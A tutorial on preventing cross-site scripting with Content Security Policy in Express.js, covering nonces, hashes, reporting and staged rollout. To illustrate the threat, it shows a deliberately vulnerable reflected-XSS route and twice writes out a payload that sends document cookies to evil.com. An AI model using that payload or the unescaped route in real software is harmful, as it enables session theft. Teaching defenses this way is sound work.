Content Security Policy: XSS Prevention Headers
Cross-Site Scripting (XSS) remains one of the most prevalent web security vulnerabilities. Despite years of awareness and improved frameworks, XSS attacks continue to compromise applications because...
Key Insights
- Content Security Policy acts as a browser-enforced allowlist that blocks unauthorized script execution, providing a critical defense layer even when input sanitization fails
- Nonce-based CSP policies offer the strongest protection by requiring a unique cryptographic token for each inline script, eliminating entire classes of XSS vulnerabilities
- Deploy CSP incrementally using report-only mode to identify violations before enforcement, avoiding the common mistake of breaking legitimate functionality in production
Introduction to XSS Vulnerabilities
Cross-Site Scripting (XSS) remains one of the most prevalent web security vulnerabilities. Despite years of awareness and improved frameworks, XSS attacks continue to compromise applications because they exploit the fundamental trust relationship between browsers and web content.
Traditional XSS prevention relies on input sanitization and output encoding. You validate user input, escape HTML entities, and use framework-provided protections. But this approach has a fatal weakness: it’s all-or-nothing. A single missed sanitization point creates an exploitable vulnerability.
Consider this common reflected XSS vector:
// Vulnerable Express.js route
app.get('/search', (req, res) => {
const query = req.query.q;
res.send(`<h1>Search results for: ${query}</h1>`);
});
// Attack URL: /search?q=<script>fetch('https://evil.com?cookie='+document.cookie)</script>
Even with input validation in place, Content Security Policy (CSP) provides defense-in-depth. If an attacker finds a way to inject malicious code, CSP prevents the browser from executing it. This shifts security from “prevent all injection” to “prevent injection AND prevent execution.”
Understanding Content Security Policy Basics
CSP works through HTTP response headers that tell browsers which resources are legitimate. When a page tries to load or execute content that violates the policy, the browser blocks it.
The core mechanism is simple: you define directives that specify approved sources for different content types. The script-src directive controls JavaScript execution, style-src handles CSS, and default-src sets a fallback for unspecified directives.
Here’s a basic CSP implementation in Express.js:
const express = require('express');
const helmet = require('helmet');
const app = express();
app.use(
helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "https://cdn.example.com"],
styleSrc: ["'self'", "https://fonts.googleapis.com"],
fontSrc: ["'self'", "https://fonts.gstatic.com"],
imgSrc: ["'self'", "data:", "https:"],
connectSrc: ["'self'"],
frameSrc: ["'none'"],
objectSrc: ["'none'"],
upgradeInsecureRequests: [],
},
})
);
This configuration allows scripts only from your domain and a specific CDN. Any inline <script> tags or eval() calls are blocked by default. Browser compatibility is excellent—all modern browsers support CSP, with over 95% global coverage.
CSP operates in two modes: enforcement mode (blocks violations) and report-only mode (logs violations without blocking). Use Content-Security-Policy-Report-Only header for testing before full deployment.
Implementing CSP Directives
The most challenging aspect of CSP is handling inline scripts. Modern applications often include inline event handlers, script blocks, and dynamically generated code. The 'unsafe-inline' directive allows these, but completely undermines XSS protection.
The solution is nonces or hashes. A nonce is a cryptographically random value generated per-request and added to both the CSP header and authorized script tags.
Here’s a nonce-based implementation:
const crypto = require('crypto');
// Middleware to generate nonce
app.use((req, res, next) => {
res.locals.nonce = crypto.randomBytes(16).toString('base64');
next();
});
// Set CSP header with nonce
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
`script-src 'nonce-${res.locals.nonce}' 'strict-dynamic'; object-src 'none'; base-uri 'none';`
);
next();
});
// Template usage (EJS example)
app.get('/', (req, res) => {
res.render('index', { nonce: res.locals.nonce });
});
In your HTML template:
<!-- This script executes because it has the correct nonce -->
<script nonce="<%= nonce %>">
console.log('Authorized inline script');
</script>
<!-- This injected script is blocked - no nonce -->
<script>
fetch('https://evil.com?cookie=' + document.cookie);
</script>
For static inline scripts, use hash-based CSP:
// Generate SHA-256 hash of your script content
const scriptContent = "console.log('Static script');";
const hash = crypto
.createHash('sha256')
.update(scriptContent)
.digest('base64');
// CSP header
const cspHeader = `script-src 'sha256-${hash}'`;
// Result: script-src 'sha256-bJhKbCTmW8KKbTfHbHqPxQRqXh5FfQqYqJxPWQGLQkw='
The 'strict-dynamic' directive is crucial for modern applications. It allows scripts loaded by trusted scripts to execute, even from unknown sources. This solves the problem of dynamically loaded dependencies while maintaining security.
CSP Reporting and Monitoring
CSP violations indicate either attacks or misconfigurations. Implement reporting to distinguish between them.
app.use(
helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'nonce-{NONCE}'"],
reportUri: '/csp-violation-report',
},
})
);
// Violation report handler
app.post('/csp-violation-report', express.json({ type: 'application/csp-report' }), (req, res) => {
const report = req.body['csp-report'];
console.error('CSP Violation:', {
documentUri: report['document-uri'],
violatedDirective: report['violated-directive'],
blockedUri: report['blocked-uri'],
sourceFile: report['source-file'],
lineNumber: report['line-number'],
});
// Send to logging service
// logToService(report);
res.status(204).end();
});
Use report-only mode during initial deployment:
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy-Report-Only',
`default-src 'self'; script-src 'self'; report-uri /csp-violation-report`
);
next();
});
This logs violations without breaking functionality, allowing you to identify legitimate resources that need whitelisting.
Common CSP Pitfalls and Best Practices
The biggest mistake is using 'unsafe-inline' and 'unsafe-eval'. These directives disable XSS protection entirely. If your application requires them, you have architectural problems to fix, not CSP policies to relax.
Third-party scripts present challenges. Each external script is a potential security risk. Use subresource integrity (SRI) for CDN resources:
<script
src="https://cdn.example.com/library.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous"
nonce="<%= nonce %>"
></script>
Migrate from unsafe policies incrementally:
// Phase 1: Report-only with strict policy
const strictPolicy = {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'nonce-{NONCE}'", "'strict-dynamic'"],
objectSrc: ["'none'"],
baseUri: ["'none'"],
},
reportOnly: true,
};
// Phase 2: Enforce strict policy, report-only on relaxed
const enforcedPolicy = {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'nonce-{NONCE}'", "'strict-dynamic'"],
// ... strict directives
},
};
// Phase 3: Full strict enforcement
Real-World Implementation Example
Here’s a complete CSP setup for a React application with Express backend:
// server.js
const express = require('express');
const crypto = require('crypto');
const path = require('path');
const app = express();
// CSP middleware
const cspMiddleware = (req, res, next) => {
const nonce = crypto.randomBytes(16).toString('base64');
res.locals.nonce = nonce;
res.setHeader(
'Content-Security-Policy',
[
`default-src 'self'`,
`script-src 'nonce-${nonce}' 'strict-dynamic'`,
`style-src 'self' 'nonce-${nonce}' https://fonts.googleapis.com`,
`font-src 'self' https://fonts.gstatic.com`,
`img-src 'self' data: https:`,
`connect-src 'self' https://api.example.com`,
`frame-ancestors 'none'`,
`base-uri 'none'`,
`form-action 'self'`,
`upgrade-insecure-requests`,
].join('; ')
);
next();
};
app.use(cspMiddleware);
// Serve React app with nonce injection
app.get('*', (req, res) => {
const indexPath = path.join(__dirname, 'build', 'index.html');
let html = fs.readFileSync(indexPath, 'utf8');
// Inject nonce into script tags
html = html.replace(/<script/g, `<script nonce="${res.locals.nonce}"`);
res.send(html);
});
app.listen(3000);
For webpack-based builds, configure HTML webpack plugin:
// webpack.config.js
const HtmlWebpackPlugin = require('html-webpack-plugin');
module.exports = {
plugins: [
new HtmlWebpackPlugin({
template: 'src/index.html',
templateParameters: {
nonce: '__CSP_NONCE__', // Placeholder for server-side replacement
},
}),
],
};
Content Security Policy transforms XSS prevention from a fragile input-validation exercise into a robust, browser-enforced security boundary. Implement it with nonces, deploy incrementally with reporting, and never compromise with unsafe directives. Your application’s security posture will improve dramatically.